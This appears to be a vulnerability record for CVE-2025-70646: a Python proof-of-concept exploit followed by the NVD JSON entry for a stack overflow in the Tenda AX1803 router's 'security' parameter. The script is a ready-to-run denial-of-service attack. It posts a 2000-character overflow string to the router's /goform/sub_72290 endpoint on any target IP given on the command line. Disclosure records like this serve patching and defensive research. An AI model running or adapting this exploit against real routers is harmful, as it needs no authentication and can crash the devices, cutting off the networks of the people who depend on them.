CVE-2025-70646

#!/usr/bin/env python3 """ CVE-2025-70646 PoC - Tenda AX1803 Stack Overflow in security parameter This PoC demonstrates a Denial of Service attack against Tenda AX1803 router. """ import requests import sys target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 def create_exploit_payload(): """Generate overflow payload for security parameter""" # Create payload that exceeds buffer size padding = "A" * 2000 # Adjust size based on actual buffer return padding def exploit_dos(): """Attempt to trigger stack overflow causing DoS""" url = f"http://{target_ip}:{target_port}/goform/sub_72290" # Construct malicious security parameter payload = create_exploit_payload() data = { "security": payload } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[+] Exploit sent successfully - router may be crashed") print(f"[*] Error: {e}") return True return False if __name__ == "__main__": if len(sys.argv) > 1: target_ip = sys.argv[1] print("=" * 50) print("CVE-2025-70646 PoC - Tenda AX1803 DoS") print("=" * 50) exploit_dos()

{"cve": {"id": "CVE-2025-70646", "sourceIdentifier": "[email protected]", "published": "2026-01-21T17:16:06.967", "lastModified": "2026-01-26T21:00:37.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX1803 v1.0.0.1 was discovered to contain a stack overflow in the security parameter of the sub_72290 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Tenda AX1803 v1.0.0.1 se descubrió que contenía un desbordamiento de pila en el parámetro de seguridad de la función sub_72290. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) a través de una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1803_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "B81C53EE-14CD-426B-ADF3-6D9B4D69DC84"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1803:-:*:*:*:*:*:*:*", "matchCriteriaId": "413B93A8-6188-4D89-8141-C5B73F4AA071"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1803/5/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}